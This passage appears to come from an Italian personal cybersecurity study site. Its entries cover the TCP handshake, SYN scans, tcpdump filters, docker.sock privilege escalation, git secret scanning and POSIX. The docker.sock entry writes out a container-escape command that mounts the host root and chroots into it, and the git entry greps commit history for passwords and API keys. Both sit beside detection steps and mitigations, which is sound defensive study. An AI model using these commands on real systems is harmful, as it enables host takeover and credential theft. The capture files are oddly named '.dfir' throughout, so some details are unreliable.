terzo passo [R] --\u0026gt; ← nmap manda RST registrato nei log NON registrato nei log del servizio del servizio Risultato: auth.log e i log SSH non vedono nulla. tcpdump sul livello di rete vede tutto.\nLezione difensiva: i log applicativi non bastano — serve cattura a livello di rete.\nSYN Flood — attacco DoS # Variante offensiva del SYN scan:\nAttaccante manda migliaia di [S] verso la stessa porta senza mai completare il handshake. Il server tiene aperta una \u0026#34;half-open connection\u0026#34; per ognuno in attesa del terzo [.] che non arrivera\u0026#39; mai. Quando le half-open connections esauriscono la memoria: → nuove connessioni legittime vengono rifiutate → il servizio va giu\u0026#39; Pattern in tcpdump che lo indica:\n# Tanti SYN dallo stesso IP verso la stessa porta, nessun ACK finale sudo tcpdump -i enp0s1 \u0026#39;tcp[tcpflags] \u0026amp; tcp-syn != 0\u0026#39; ARP — il livello sotto TCP # Prima che TCP possa mandare il primo SYN, la macchina deve sapere il MAC address della destinazione. Questo avviene via ARP:\nKali vuole mandare SYN a Ubuntu (192.168.64.3) PRIMA: Kali --\u0026gt; broadcast \u0026#34;chi ha 192.168.64.3? dimmelo\u0026#34; ARP Request Ubuntu --\u0026gt; Kali \u0026#34;sono io, MAC b6:56:08:90:16:03\u0026#34; ARP Reply Kali salva in ARP cache: 192.168.64.3 = quel MAC POI: Kali --\u0026gt; Ubuntu [S] SYN TCP inizia La ARP cache evita di fare questa domanda ad ogni pacchetto. Stati della cache:\nREACHABLE → comunicato di recente, MAC valido con certezza STALE → obsoleto — non comunichiamo da un po\u0026#39;, probabilmente ancora valido ma verifichero\u0026#39; alla prossima comunicazione FAILED → ho provato, nessuno ha risposto (host giu\u0026#39; o non raggiungibile — come 8.8.8.8 senza gateway) Scenario Reale — riconoscere un port scan nei log # Un analista SOC vede questo pattern in tcpdump:\n14:30:45.000 IP 10.0.0.50 \u0026gt; 10.0.0.3.22: Flags [S.] → porta aperta 14:30:45.001 IP 10.0.0.50 \u0026gt; 10.0.0.3.23: Flags [R.] → porta chiusa 14:30:45.001 IP 10.0.0.50 \u0026gt; 10.0.0.3.80: Flags [R.] → porta chiusa 14:30:45.002 IP 10.0.0.50 \u0026gt; 10.0.0.3.443: Flags [S.] → porta aperta 14:30:45.002 IP 10.0.0.50 \u0026gt; 10.0.0.3.3306: Flags [R.] → porta chiusa Segnali di port scan:\nstesso IP sorgente verso molte porte in rapida sequenza mix di [S.] e [R.] come risposta nessun [.] di completamento (SYN scan) auth.log vuoto — il servizio non ha visto nulla Azione: blocca l'IP sorgente, controlla se ha gia' stabilito connessioni, cerca nei log applicativi tracce di tentativi riusciti.\nCollegato a # network — categoria incidents — categoria tcp-udp — protocollo TCP nel contesto piu' ampio tcpdump — comando per catturare e leggere i flag in diretta nmap — tool che sfrutta SYN scan per il port scanning ","date":"30 marzo 2026","externalUrl":null,"permalink":"/concetti/tcp-handshake/","section":"Concetti","summary":"Il TCP handshake e' la negoziazione obbligatoria che precede qualsiasi trasmissione dati via TCP. Tre pacchetti stabiliscono la connessione, uno la chiude. I flag nei pacchetti dicono tutto su cosa sta succedendo.","title":"TCP Handshake","type":"concetti"},{"content":" Cos'e' # TCP e UDP operano al Livello 4 (Trasporto) dello stack OSI. Definiscono come i dati vengono impacchettati, spediti e ricevuti tra due macchine. La scelta tra i due dipende da cosa conta di piu': affidabilita' o velocita'.\nTL;DR # TCP → come una telefonata prima stabilisci la connessione, poi parli, poi saluti — ogni parola viene confermata UDP → come gridare in una stanza lanci il messaggio, non sai se e\u0026#39; arrivato, non ti importa — vai avanti TCP — Transmission Control Protocol # Orientato alla connessione. Prima dei dati: handshake. Durante: conferma ogni pacchetto. Alla fine: chiusura ordinata.\nCaratteristiche:\nAffidabile — pacchetti persi vengono ritrasmessi Ordinato — i dati arrivano nell'ordine in cui sono stati mandati ACK-based — ogni pacchetto ricevuto viene confermato Piu' lento — overhead del handshake e delle conferme Usato da: SSH, HTTP/HTTPS, SMTP, FTP — tutto dove la perdita di dati non e' accettabile.\nVedi tcp-handshake per il dettaglio completo dei flag e del three-way handshake.\nPorte TCP # Ogni pacchetto TCP ha source port e destination port nell'header. Le porte si dividono in due gruppi:\nGruppo Range Uso System ports 1 – 1023 Servizi noti: 22 SSH, 80 HTTP, 443 HTTPS, 25 SMTP Ephemeral ports 1024 – 65535 Porte sorgente scelte casualmente dal client per ogni connessione La destination port identifica il servizio sul server (es. 80). La source port è casuale — il server la usa solo per rispondere al client giusto.\nMSS — Maximum Segment Size # Negoziato durante il SYN del three-way handshake. Indica la dimensione massima del payload che l'host è disposto a ricevere in un singolo segmento TCP. Non include gli header — solo i dati.\nIl SYN quindi non è solo \u0026quot;voglio connettermi\u0026quot; — trasporta anche ISN (Initial Sequence Number) e MSS, i parametri che governano tutta la comunicazione successiva.\nUDP — User Datagram Protocol # Senza connessione. Nessun handshake, nessuna conferma, nessun ordine garantito.\nCaratteristiche:\nVeloce — nessun overhead di connessione Fire and forget — manda e non aspetta risposta Leggero — header 8 byte fissi (TCP ne ha almeno 20) Inaffidabile — pacchetti possono perdersi, duplicarsi, arrivare fuori ordine Usato da: DNS, DHCP, streaming video, gaming, VoIP — dove la latenza conta piu' della precisione.\nPerche\u0026#39; DNS usa UDP? Una query DNS e\u0026#39; un singolo pacchetto piccolo. Fare un handshake TCP per ogni query sarebbe tre volte piu\u0026#39; lento senza vantaggi reali. Se la risposta non arriva, il client riprova. Header UDP # L'header UDP ha solo 4 campi (8 byte totali):\nCampo Dimensione Significato Source Port 2 byte Porta mittente Destination Port 2 byte Porta destinatario Packet Length 2 byte Lunghezza totale del pacchetto in byte (header + dati) Checksum 2 byte Verifica integrità header e dati Niente sequence number, niente ACK, niente flags, niente window size. UDP non ha gli strumenti per garantire nulla — è una scelta deliberata.\nAffidabilità in UDP — responsabilità dell'applicazione # UDP non garantisce la consegna. Se un'applicazione che usa UDP ha bisogno di affidabilità, deve implementarla da sola a livello applicativo.\nEsempi:\nDNS — se la risposta non arriva, il client riprova dopo un timeout TFTP — usa un proprio meccanismo di ACK applicativo sopra UDP QUIC (usato da HTTP/3) — reimplementa affidabilità e ordine sopra UDP, ma con meno overhead di TCP Confronto diretto # TCP UDP Connessione handshake 3 passi nessuna Affidabilita\u0026#39; garantita nessuna Ordine dati garantito nessuno Velocita\u0026#39; piu\u0026#39; lento piu\u0026#39; veloce Header size 20 byte min 8 byte Uso tipico SSH, HTTP, SMTP DNS, streaming, VoIP Stati delle porte # Quando tcpdump o nmap interroga una porta, la risposta dice cosa c'e' dietro:\nStato Risposta TCP Significato Open SYN-ACK un servizio e' in ascolto su quella porta Closed RST la macchina risponde ma nessun servizio ascolta Filtered nessuna risposta un firewall blocca il pacchetto prima che arrivi OPEN Client --[S]--\u0026gt; Server --[S.]--\u0026gt; Client servizio presente CLOSED Client --[S]--\u0026gt; Server --[R.]--\u0026gt; Client nessun servizio FILTERED Client --[S]--\u0026gt; ...silenzio... firewall blocca Filtered e' il piu' difficile da gestire per un attaccante — non sa se la porta esiste o e' bloccata.\nTCP Stream vs Pacchetto # Due viste dello stesso dato a livelli diversi dello stack:\n# Livello RETE (quello che vede tcpdump): # TCP spezza i dati in pacchetti # Tu mandi: \u0026#34;password\\n\u0026#34; (10 byte) # TCP puo\u0026#39; mandare: [pac 1: \u0026#34;pass\u0026#34;] [pac 2: \u0026#34;word\\n\u0026#34;] # il kernel decide come spezzare, tu non controlli # Livello APPLICAZIONE (quello che vede nc, SSH, il tuo codice): # TCP riassembla tutto in ordine prima di darlo all\u0026#39;app # nc riceve: \u0026#34;password\\n\u0026#34; (10 byte, intero) # non vede i pacchetti, vede lo stream gia\u0026#39; riassemblato TCP non sa nulla di \u0026quot;messaggi\u0026quot; — sa solo di byte in ordine. Se vuoi separare i messaggi devi farlo tu a livello applicativo:\nHTTP usa: \\r\\n\\r\\n per separare header e body DNS usa: primi 2 byte = lunghezza del messaggio SSH usa: struttura propria del protocollo I flag TCP e gli stati delle porte sono collegati ma sono cose diverse:\nFLAG TCP → cosa c\u0026#39;e\u0026#39; dentro un singolo pacchetto STATO DELLA PORTA → conclusione che trai dalla sequenza di flag Esempio:\nMandi SYN → ricevi [S.] → conclusione: porta OPEN Mandi SYN → ricevi [R.] → conclusione: porta CLOSED Mandi SYN → silenzio → conclusione: porta FILTERED I flag sono i mattoni, lo stato e' quello che costruisci leggendoli. # Scenario Reale — Blue Team # Un attaccante scansiona la rete. Dal punto di vista difensivo:\nMolte porte Closed — il server e' raggiungibile ma la superficie di attacco e' piccola Porte Filtered — c'e' un firewall, l'attaccante deve lavorare di piu' Porte Open — ogni porta aperta e' una potenziale superficie di attacco Obiettivo: tenere aperto solo quello che serve. Tutto il resto filtrato o chiuso.\nCollegato a # system — categoria tcp-handshake — dettaglio flag, handshake, SYN scan, FIN vs RST tcpdump — cattura traffico TCP e UDP in diretta netcat — tool per testare connessioni TCP e UDP nmap — scanner che sfrutta gli stati delle porte ss — mostra socket TCP e UDP aperti sulla macchina locale ","date":"30 marzo 2026","externalUrl":null,"permalink":"/concetti/tcp-udp/","section":"Concetti","summary":"TCP e UDP sono i due protocolli di trasporto al livello 4 dello stack OSI. TCP garantisce consegna ordinata con handshake e conferme. UDP e' senza connessione - veloce ma senza garanzie.","title":"TCP vs UDP - Protocolli di Trasporto","type":"concetti"},{"content":" Cosa fa # Cattura pacchetti di rete sull'interfaccia specificata e li mostra in tempo reale o li salva su file .dfir. Permette di vedere tutto il traffico che passa sulla rete — handshake TCP, query DNS, richieste HTTP, ARP — a livello di singolo pacchetto.\nSintassi # sudo tcpdump [opzioni] [filtro]\nRichiede sudo — legge direttamente dal kernel.\nComandi essenziali # Comando Flag Significato flag Cosa fa sudo tcpdump -i enp0s1 -i interface Ascolta su interfaccia specifica sudo tcpdump -i enp0s1 -n -n numeric Non risolve IP in nomi DNS — piu' veloce sudo tcpdump -i enp0s1 -nn -nn numeric numeric Non risolve ne' IP ne' porte (22 invece di ssh) sudo tcpdump -D -D devices Lista tutte le interfacce disponibili sudo tcpdump -w capture.dfir -w write Salva su file invece di stampare sudo tcpdump -r capture.dfir -r read Legge da file .dfir sudo tcpdump -c 100 -c count Cattura solo N pacchetti poi si ferma sudo tcpdump -v -v verbose Piu' dettagli su ogni pacchetto sudo tcpdump -A -A ASCII mostra il payload di ogni pacchetto in testo leggibile invece di solo header e flag Filtri — la parte piu' importante # I filtri si mettono alla fine del comando. Senza filtri vedi tutto — con filtri vedi solo quello che serve.\n# Filtra per host sudo tcpdump -i enp0s1 -n host 192.168.64.200 # Filtra per porta sudo tcpdump -i enp0s1 -n port 22 sudo tcpdump -i enp0s1 -n port 53 # solo DNS # Filtra per protocollo sudo tcpdump -i enp0s1 -n tcp sudo tcpdump -i enp0s1 -n udp sudo tcpdump -i enp0s1 -n icmp # solo ping # Combinazioni con and/or sudo tcpdump -i enp0s1 -n \u0026#39;tcp and host 192.168.64.200\u0026#39; sudo tcpdump -i enp0s1 -n \u0026#39;port 80 or port 443\u0026#39; # Filtra per flag TCP — rileva SYN scan o SYN flood sudo tcpdump -i enp0s1 \u0026#39;tcp[tcpflags] \u0026amp; tcp-syn != 0\u0026#39; Leggere l'output # 14:21:56.534761 IP 192.168.64.200.38282 \u0026gt; 192.168.64.3.22: Flags [S], seq 2676348498, win 64240, length 0 # ^ ^ ^ ^ ^ ^ ^ # timestamp IP src porta src IP dst porta dst flag seq number Formato: timestamp IP sorgente.porta \u0026gt; destinazione.porta: Flags [X], length N\nI flag piu' comuni in ordine di frequenza:\n[S] SYN — inizio connessione [.] ACK — conferma [S.] SYN+ACK — risposta al SYN [P.] PSH+ACK — dati in arrivo [F.] FIN+ACK — chiusura elegante [R] RST — reset brusco [R.] RST+ACK — reset con conferma Flag Nome completo Traduzione Significato operativo SYN Synchronize Sincronizza Apre la connessione — \u0026quot;voglio parlare con te\u0026quot; ACK Acknowledge Conferma \u0026quot;Ho ricevuto quello che mi hai mandato\u0026quot; PSH Push Spingi \u0026quot;Consuma questi dati subito, non aspettare\u0026quot; RST Reset Reimposta \u0026quot;Chiudo tutto immediatamente, basta\u0026quot; FIN Finish Finisci \u0026quot;Ho finito di mandare dati, chiudo il mio lato\u0026quot; URG Urgent Urgente \u0026quot;Questi dati sono prioritari — raramente usato\u0026quot; Combinazioni utili # # Vedi tutto il traffico tra due VM (lab Kali-Ubuntu) sudo tcpdump -i enp0s1 -n host 192.168.64.200 # Cattura e salva per analisi dopo con Wireshark sudo tcpdump -i enp0s1 -w /tmp/capture.dfir # Cattura solo i primi 200 pacchetti e salva sudo tcpdump -i enp0s1 -c 200 -w /tmp/capture.dfir # Leggi il dfir salvato sudo tcpdump -r /tmp/capture.dfir -n # Rileva port scan in corso — molti SYN senza completamento sudo tcpdump -i enp0s1 -n \u0026#39;tcp[tcpflags] \u0026amp; tcp-syn != 0 and not tcp[tcpflags] \u0026amp; tcp-ack != 0\u0026#39; Pattern riconoscibili # PING (ICMP) IP kali \u0026gt; ubuntu: ICMP echo request IP ubuntu \u0026gt; kali: ICMP echo reply ARP (prima di qualsiasi comunicazione) ARP, Request who-has 192.168.64.3 tell 192.168.64.200 ARP, Reply 192.168.64.3 is-at b6:56:08:90:16:03 CONNESSIONE SSH (handshake completo) Flags [S] → SYN Flags [S.] → SYN+ACK Flags [.] → ACK Flags [P.] → dati SSH PORT SCAN nmap -sS (SYN scan) Porta aperta: [S] → [S.] → [R] (nmap manda RST) esempio flusso 19 Kali → Ubuntu:22 [SYN] 21 Ubuntu → Kali [SYN, ACK] 23 Kali → Ubuntu:22 [RST] Porta chiusa: [S] → [R.] (Ubuntu manda RST) RST può mandarlo chiunque. Kali lo manda per chiudere il SYN scan. Ubuntu lo manda quando una porta è chiusa. Due situazioni diverse, stesso flag. Pattern: chiusura elegante con FIN # FIN viene mandato da entrambi i lati — ognuno dichiara che ha finito di mandare dati. La sequenza completa si chiama four-way handshake di chiusura:\n# Output reale — netcat Kali verso Ubuntu porta 8080 # Apertura (three-way handshake) Flags [S] Kali → Ubuntu SYN — voglio connettermi Flags [S.] Ubuntu → Kali SYN+ACK — ok Flags [.] Kali → Ubuntu ACK — confermato # Dati Flags [P.] Kali → Ubuntu PSH+ACK — \u0026#34;ciao\u0026#34; (lunghezza 5) Flags [.] Ubuntu → Kali ACK — ricevuto # Chiusura elegante (four-way handshake) Flags [F.] Kali → Ubuntu FIN+ACK — ho finito di mandare Flags [F.] Ubuntu → Kali FIN+ACK — anch\u0026#39;io ho finito Flags [.] Kali → Ubuntu ACK — confermato Entrambi i lati mandano FIN — ognuno chiude il proprio lato della connessione separatamente.\nConfronto con chiusura brusca:\nFIN → four-way handshake — entrambi confermano connessione chiusa ordinatamente tipico di sessioni normali RST → chiusura immediata senza accordo connessione tagliata di netto tipico di: porta chiusa, nmap SYN scan, errore di connessione Dal punto di vista Blue Team:\nMolti FIN → traffico normale, sessioni che terminano Molti RST → segnale sospetto: - port scan in corso - servizio che crasha - firewall che blocca Scenario Reale # Durante un incident response, un analista deve capire se una macchina interna sta comunicando con un IP sospetto esterno:\n# Cattura tutto il traffico verso quell\u0026#39;IP sudo tcpdump -i enp0s1 -n host 185.220.101.x -w /tmp/sospetto.dfir # Analizza il dfir sudo tcpdump -r /tmp/sospetto.dfir -n # Cerca flag anomali — molti SYN senza ACK = possibile scan o flood sudo tcpdump -r /tmp/sospetto.dfir \u0026#39;tcp[tcpflags] \u0026amp; tcp-syn != 0\u0026#39; Quello che vedi in tcpdump i log applicativi non vedono — un SYN scan non lascia tracce in auth.log. tcpdump e' il livello di verita'.\nDove l'ho usato # Settimana 5 — lab Kali-Ubuntu, TCP handshake in diretta Settimana 5 — port scan nmap -sS catturato e analizzato Note personali # Tip Aggiungi sempre -n o -nn — senza, tcpdump perde tempo a risolvere ogni IP in nome DNS e l'output e' piu' lento e rumoroso.\nNote tcpdump e Wireshark leggono lo stesso formato .dfir. Cattura con tcpdump da terminale, analizza con Wireshark in GUI — flusso di lavoro standard in un SOC.\nCollegato a # log — categoria incidents — categoria tcp-handshake — i flag che leggi nell'output nmap — il tool che genera i pattern di scan wireshark — GUI per analizzare i .dfir salvati con -w ss — complementare: ss guarda dentro la macchina, tcpdump guarda il filo ","date":"30 marzo 2026","externalUrl":null,"permalink":"/comandi/tcpdump/","section":"Comandi","summary":"Cattura e analizza pacchetti di rete direttamente dal terminale. Legge il traffico sull'interfaccia di rete in tempo reale o da file .dfir. Strumento fondamentale per incident response e analisi traffico.","title":"tcpdump - dump traffic on a network","type":"comandi"},{"content":" Cosa fa # File speciale sul filesystem che funge da canale di comunicazione diretto tra il Docker CLI e il demone dockerd. E' un Unix domain socket — non usa la rete, comunica direttamente nel kernel. Chiunque abbia accesso in scrittura a questo file ha controllo completo su Docker e, di conseguenza, sull'host intero.\nTL;DR # docker CLI ──► /var/run/docker.sock ──► dockerd ^ Unix domain socket non e\u0026#39; rete — e\u0026#39; filesystem solo sulla stessa macchina passa nel kernel Se monti questo socket dentro un container: container ──► /var/run/docker.sock ──► dockerd il container ha controllo totale su Docker privilege escalation garantita Socket di rete vs Unix domain socket # SOCKET DI RETE (TCP/IP) ──────────────────────────────────────────────── processo A │ ▼ stack di rete (TCP/IP) │ ▼ (può attraversare la rete) stack di rete │ ▼ processo B identificato da: IP:porta puo\u0026#39; essere su macchine diverse traffico puo\u0026#39; uscire dalla macchina UNIX DOMAIN SOCKET ──────────────────────────────────────────────── processo A │ ▼ kernel (IPC — Inter Process Communication) │ ▼ processo B identificato da: path su filesystem (/var/run/docker.sock) solo sulla stessa macchina non esce mai dalla macchina molto piu\u0026#39; veloce — nessun overhead di rete Come funziona normalmente # Tu (terminale) │ │ digiti: docker ps │ ▼ Docker CLI (/usr/bin/docker) │ │ scrive sul socket: \u0026#34;GET /containers/json\u0026#34; │ (protocollo HTTP su socket Unix) │ ▼ /var/run/docker.sock │ ▼ dockerd (il demone) │ │ risponde con la lista dei container │ ▼ Docker CLI │ ▼ output nel terminale sequenceDiagram participant U as Tu (docker CLI) participant S as /var/run/docker.sock participant D as dockerd U-\u003e\u003eS: docker ps (HTTP su Unix socket) S-\u003e\u003eD: richiesta D-\u003e\u003eS: lista container JSON S-\u003e\u003eU: output formattato Il problema — montare il socket in un container # # docker-compose.yml — PERICOLOSO services: app: image: myapp volumes: - /var/run/docker.sock:/var/run/docker.sock # ^ ^ # socket sull\u0026#39;host montato dentro il container Cosa succede:\nHOST ├── dockerd (controlla tutto Docker) │ ^ │ │ comunica tramite │ │ ├── /var/run/docker.sock ← montato dentro il container │ ^ │ │ il container ci scrive sopra │ │ └── CONTAINER │ └── processo dentro il container puo\u0026#39; fare qualsiasi operazione Docker come se fosse il CLI sull\u0026#39;host L'attacco — privilege escalation completa # # Scenario: attaccante ha compromesso un container # Il container ha docker.sock montato # Dentro il container, l\u0026#39;attaccante esegue: docker run -it \\ -v /:/host \\ # monta la ROOT dell\u0026#39;host dentro il nuovo container alpine \\ # immagine minimale chroot /host # cambia la root del processo a /host # ora \u0026#34;vede\u0026#34; il filesystem reale dell\u0026#39;host # Risultato: shell con accesso root all\u0026#39;host intero # Il container era \u0026#34;isolato\u0026#34; — ma docker.sock ha rotto l\u0026#39;isolamento PRIMA (isolamento normale): ┌─────────────────────────────┐ │ HOST │ │ ├── filesystem host │ │ │ │ │ └── CONTAINER │ │ └── filesystem iso- │ │ lato dal host │ └─────────────────────────────┘ DOPO (docker.sock montato + attacco): ┌─────────────────────────────┐ │ HOST │ │ ├── filesystem host ◄─────┼── container vede tutto │ │ │ e puo\u0026#39; modificare tutto │ └── CONTAINER │ │ └── accesso tramite │ │ docker.sock │ └─────────────────────────────┘ chroot — cosa fa # chroot (change root) cambia la directory root per un processo:\nchroot /host bash # d\u0026#39;ora in poi per questo processo: # / e\u0026#39; /host # /etc e\u0026#39; /host/etc # /bin e\u0026#39; /host/bin # il processo non vede niente fuori da /host # Usato legittimamente per: # - recovery di sistema (come nel rescue Hetzner) # - ambienti di build isolati # - container primitivi (prima di Docker) Non confondere con chown (change owner — cambia il proprietario di un file).\nQuando e' accettabile montare docker.sock # In alcuni casi legittimi il socket deve essere montato:\n# Caso legittimo — tool di monitoring che deve leggere i container services: portainer: image: portainer/portainer-ce volumes: - /var/run/docker.sock:/var/run/docker.sock # necessario per funzionare traefik: image: traefik volumes: - /var/run/docker.sock:/var/run/docker.sock:ro # :ro = read-only # ^ # mitigazione parziale :ro (read-only) riduce il rischio — il container puo' leggere lo stato dei container ma non crearne di nuovi. Non elimina il rischio completamente.\nCome rilevare container con docker.sock montato # # Controlla tutti i container in esecuzione docker inspect $(docker ps -q) | grep -i \u0026#34;docker.sock\u0026#34; # Alternativa piu\u0026#39; leggibile docker ps -q | xargs docker inspect --format \\ \u0026#39;{{.Name}}: {{range .Mounts}}{{if eq .Source \u0026#34;/var/run/docker.sock\u0026#34;}}SOCKET MONTATO{{end}}{{end}}\u0026#39; # In un sistema sospetto — primo controllo find /proc/*/fd -lname /var/run/docker.sock 2\u0026gt;/dev/null Scenario Reale — Blue Team # Un analista SOC riceve un alert: processo insolito su un server di produzione con molti container. Controlla:\n# 1. Quali container hanno docker.sock montato? docker inspect $(docker ps -q) | grep docker.sock # 2. Quel container ha creato altri container di recente? docker events --since 1h | grep \u0026#34;container create\u0026#34; # 3. Esistono container creati di recente con volumi sospetti? docker ps -a --format \u0026#34;{{.CreatedAt}}\\t{{.Names}}\\t{{.Mounts}}\u0026#34; | sort -r | head -20 Se trova un container creato dall'interno di un altro container — specialmente con -v /:/host — e' compromissione attiva.\nWarning Non montare mai /var/run/docker.sock in produzione a meno che non sia strettamente necessario. E' l'equivalente di dare a un processo le chiavi master di tutto il sistema.\nNote Alternativa sicura: Docker API con TLS e certificati client, oppure socket proxy come tecnativa/docker-socket-proxy che espone solo le API necessarie con permessi granulari.\nDove l'ho incontrato # docker-security — superficie di attacco Docker docker-compose — volumi nei file compose Collegato a # system — categoria iam — categoria — privilege escalation docker-security — contesto sicurezza Docker docker-overview — architettura generale Docker socket-concept — concetto di socket Unix ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/docker-sock/","section":"Concetti","summary":"docker.sock e' il Unix domain socket che permette al Docker CLI di comunicare con dockerd. Montarlo dentro un container equivale a dare al container il controllo completo di Docker - e quindi dell'host.","title":"/var/run/docker.sock - il socket di Docker","type":"concetti"},{"content":" Cosa fa # Git memorizza tutti i dati come oggetti immutabili nel database .git/objects/. Ogni oggetto e' identificato da un hash SHA-1 del suo contenuto. Una volta che un oggetto esiste nel database, non sparisce mai — anche se rimuovi un file o cancelli un commit, l'oggetto rimane fino al garbage collection.\nTL;DR # Quando fai git commit: file.txt (contenuto) │ ▼ blob object ← il contenuto del file │ ▼ tree object ← la struttura della directory │ ▼ commit object ← punta al tree + metadati (autore, data, messaggio) │ ▼ .git/objects/ab/cd1234... ← tutti e tre salvati come file Se rimuovi file.txt e fai un nuovo commit: il blob del vecchio file.txt RIMANE in .git/objects e\u0026#39; raggiungibile dalla storia del repo I quattro tipi di oggetti # 1. Blob — contenuto di un file # git cat-file -t abc123 # mostra il tipo → blob git cat-file -p abc123 # mostra il contenuto del file Un blob e' il contenuto puro di un file — senza nome, senza path. Due file identici condividono lo stesso blob.\n2. Tree — struttura di una directory # git cat-file -p HEAD^{tree} # albero del commit corrente # 100644 blob abc123 README.md # 100644 blob def456 key.txt # 040000 tree ghi789 src/ Un tree associa nomi di file ai blob e ai subtree.\n3. Commit — snapshot con metadati # git cat-file -p HEAD # tree abc123def456... # parent xyz789... # author Nome \u0026lt;email\u0026gt; 1234567890 +0000 # committer Nome \u0026lt;email\u0026gt; 1234567890 +0000 # # messaggio del commit Un commit punta a un tree (lo snapshot), al commit padre, e contiene i metadati.\n4. Tag — puntatore con nome # git cat-file -p v1.0 # tag annotato # object abc123... # type commit # tag v1.0 # tagger Nome \u0026lt;email\u0026gt; # # Release version 1.0 Un tag leggero e' solo un riferimento a un hash. Un tag annotato e' un oggetto vero con metadati. In Bandit 30 il tag puntava direttamente a un blob — caso insolito ma possibile.\nDove vivono gli oggetti # .git/ ├── objects/ │ ├── ab/ │ │ └── cd1234... ← primi 2 char = directory, resto = filename │ ├── pack/ │ │ ├── pack-xxx.pack ← oggetti compressi insieme │ │ └── pack-xxx.idx ← indice del pack │ └── info/ ├── refs/ │ ├── heads/ │ │ ├── master ← punta all\u0026#39;ultimo commit di master │ │ └── dev ← punta all\u0026#39;ultimo commit di dev │ └── tags/ │ └── secret ← punta a un oggetto tag o blob └── HEAD ← punta al branch corrente Perche' i segreti sopravvivono # Commit A: README.md contiene \u0026#34;password: abc123\u0026#34; │ ▼ Commit B: README.md aggiornato → \u0026#34;password: xxxxxxxxxx\u0026#34; │ ▼ stato attuale: \u0026#34;password: xxxxxxxxxx\u0026#34; Il commit A esiste ancora in .git/objects. E' raggiungibile con:\ngit log --all -p | grep -i \u0026#34;password\u0026#34; git diff \u0026lt;hash-commit-A\u0026gt; \u0026lt;hash-commit-B\u0026gt; git show \u0026lt;hash-commit-A\u0026gt;:README.md L'unico modo per rimuovere un segreto dalla storia e' riscrivere la storia con git filter-branch o git filter-repo — e anche in quel caso, chiunque abbia clonato il repo prima ha ancora la versione con il segreto.\nI quattro posti dove nascondersi in git # Posto Comando per trovare Livello Bandit Storia commit git log -p 28 Branch nascosti git branch -a 29 Tag git tag + git show 30 Stash git stash list — Pack files # Quando un repository cresce, git comprime gli oggetti in pack files:\nls .git/objects/pack/ # pack-abc123.pack ← oggetti compressi # pack-abc123.idx ← indice per trovare gli oggetti nel pack # Estrarre il contenuto di un pack (per analisi forense) git verify-pack -v .git/objects/pack/pack-abc123.idx I pack files contengono tutti gli oggetti storici — inclusi quelli di branch cancellati e commit rimossi con git reset.\nScenario Reale # Un developer commette per errore una chiave API in un commit, se ne accorge e la rimuove nel commit successivo. La chiave e' ancora accessibile:\n# Trovare la chiave nella storia git log --all -p | grep -i \u0026#34;api_key\\|secret\\|password\\|token\u0026#34; # Verificare quando e\u0026#39; stata aggiunta e rimossa git log --all --oneline | head -20 # Leggere il file com\u0026#39;era in quel commit git show abc123:config.py Strumenti professionali che fanno questo automaticamente: truffleHog, git-secrets, gitleaks. GitHub ha un sistema integrato che notifica automaticamente quando trova pattern di chiavi note (AWS, GCP, Stripe...) nei push.\nDove l'ho incontrato # bandit-28 — secret scanning nella storia dei commit bandit-29 — branch nascosti con credenziali bandit-30 — tag che puntano a blob con password bandit-31 — .gitignore bypass per push Collegato a # system — categoria incidents — categoria git — comando secret-scanning — applicazione pratica bandit-28 — primo secret scanning ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/git-objects/","section":"Concetti","summary":"Git memorizza tutto come oggetti immutabili nel database .git/objects. Ogni commit, system, albero e tag e' un oggetto con un hash SHA-1. Capire questa struttura e' fondamentale per il secret scanning - i segreti sopravvivono nella storia anche dopo la rimozione.","title":"Git Objects - struttura interna di git","type":"concetti"},{"content":" Cosa fa # Standard IEEE (Institute of Electrical and Electronics Engineers) che definisce un contratto comune per sistemi operativi Unix-like. Specifica il comportamento di shell, comandi, variabili speciali, chiamate di sistema e utility. Garantisce che uno script o un programma scritto su un sistema POSIX-compliant funzioni su qualsiasi altro.\nTL;DR # Analogia OOP: POSIX (interfaccia) │ ├── bash (implementazione) → rispetta il contratto ├── zsh (implementazione) → rispetta il contratto ├── sh (implementazione) → rispetta il contratto └── dash (implementazione) → rispetta il contratto Come un\u0026#39;interfaccia in OOP: ogni implementazione e\u0026#39; diversa ma tutte espongono gli stessi metodi ($0, $1, $?, grep, find...) Perche' esiste # Negli anni '80 esistevano decine di varianti Unix incompatibili:\nSunOS → le sue variabili, i suoi comandi HP-UX → varianti diverse AIX → ancora diverso BSD → ancora diverso → uno script scritto per SunOS non girava su HP-UX POSIX ha standardizzato il contratto comune. Linux non e' certificato POSIX ufficialmente ma e' POSIX-compatible nella pratica.\nDistro grande (Ubuntu) → bash + zsh + sh + dash + ... Distro minimale (Alpine) → solo sh (busybox) Container scratch → solo sh o niente Router embedded → solo sh Ma TUTTI implementano POSIX → $0, $1, $?, grep, find, cat funzionano ovunque un container Docker \u0026quot;scratch\u0026quot; da 5MB non può permettersi bash da 1MB quando sh da 50KB fa il lavoro base.\nCosa standardizza POSIX # 1. Variabili speciali della shell # Variabile Contenuto $0 Nome della shell o dello script corrente $1, $2... Argomenti posizionali $@ Tutti gli argomenti come lista $# Numero di argomenti $? Exit code dell'ultimo comando (0 = successo) $$ PID della shell corrente $! PID dell'ultimo processo in background Queste variabili funzionano identicamente in bash, zsh, sh e dash.\n2. Character classes nelle regex # POSIX definisce classi di caratteri portabili per le espressioni regolari:\n:alpha: → lettere (a-z, A-Z) — indipendente dalla locale :digit: → cifre (0-9) :space: → spazi, tab, newline :upper: → maiuscole :lower: → minuscole :alnum: → lettere e cifre :punct: → punteggiatura :print: → caratteri stampabili # Perche\u0026#39; preferire :alpha: a [a-zA-Z]? # [a-zA-Z] dipende dalla locale del sistema # su un sistema con locale it_IT potrebbe includere caratteri accentati # :alpha: e\u0026#39; definito dallo standard — sempre consistente 3. Comandi standard # ls, grep, find, cat, sort, uniq, cut, awk, sed — tutti definiti da POSIX con comportamento garantito.\n4. Exit codes # 0 → successo 1 → errore generico 2 → uso errato del comando (argomenti sbagliati) 126 → permesso negato (file non eseguibile) 127 → comando non trovato 128+ → terminato da segnale (128 + numero segnale) POSIX vs bash-specific # Non tutto quello che funziona in bash e' POSIX:\n# POSIX — funziona ovunque if [ \u0026#34;$var\u0026#34; = \u0026#34;valore\u0026#34; ]; then # bash-specific — non funziona in sh o dash if \u0026#34;$var\u0026#34; == \u0026#34;valore\u0026#34;; then # POSIX for i in $(seq 1 10); do # bash-specific for i in {1..10}; do Quando scrivi #!/bin/bash usi bash. Quando scrivi 